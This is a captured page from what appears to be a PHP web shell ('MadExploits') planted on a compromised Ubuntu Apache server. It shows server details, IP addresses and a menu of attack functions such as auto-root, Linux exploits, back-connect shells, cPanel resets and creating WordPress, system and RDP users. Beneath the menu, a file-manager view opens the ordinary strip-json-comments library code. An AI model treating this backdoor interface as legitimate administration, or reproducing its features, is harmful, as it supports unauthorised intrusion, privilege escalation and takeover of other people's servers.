Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 172.70.111.38
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
strip-json-comments /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
807
B
-rw-r--r--
index.js
2.02
KB
-rw-r--r--
package.json
780
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.js
'use strict'; const singleComment = Symbol('singleComment'); const multiComment = Symbol('multiComment'); const stripWithoutWhitespace = () => ''; const stripWithWhitespace = (string, start, end) => string.slice(start, end).replace(/\S/g, ' '); const isEscaped = (jsonString, quotePosition) => { let index = quotePosition - 1; let backslashCount = 0; while (jsonString[index] === '\\') { index -= 1; backslashCount += 1; } return Boolean(backslashCount % 2); }; module.exports = (jsonString, options = {}) => { const strip = options.whitespace === false ? stripWithoutWhitespace : stripWithWhitespace; let insideString = false; let insideComment = false; let offset = 0; let result = ''; for (let i = 0; i < jsonString.length; i++) { const currentCharacter = jsonString[i]; const nextCharacter = jsonString[i + 1]; if (!insideComment && currentCharacter === '"') { const escaped = isEscaped(jsonString, i); if (!escaped) { insideString = !insideString; } } if (insideString) { continue; } if (!insideComment && currentCharacter + nextCharacter === '//') { result += jsonString.slice(offset, i); offset = i; insideComment = singleComment; i++; } else if (insideComment === singleComment && currentCharacter + nextCharacter === '\r\n') { i++; insideComment = false; result += strip(jsonString, offset, i); offset = i; continue; } else if (insideComment === singleComment && currentCharacter === '\n') { insideComment = false; result += strip(jsonString, offset, i); offset = i; } else if (!insideComment && currentCharacter + nextCharacter === '/*') { result += jsonString.slice(offset, i); offset = i; insideComment = multiComment; i++; continue; } else if (insideComment === multiComment && currentCharacter + nextCharacter === '*/') { i++; insideComment = false; result += strip(jsonString, offset, i + 1); offset = i + 1; continue; } } return result + (insideComment ? strip(jsonString.slice(offset)) : jsonString.slice(offset)); };
Close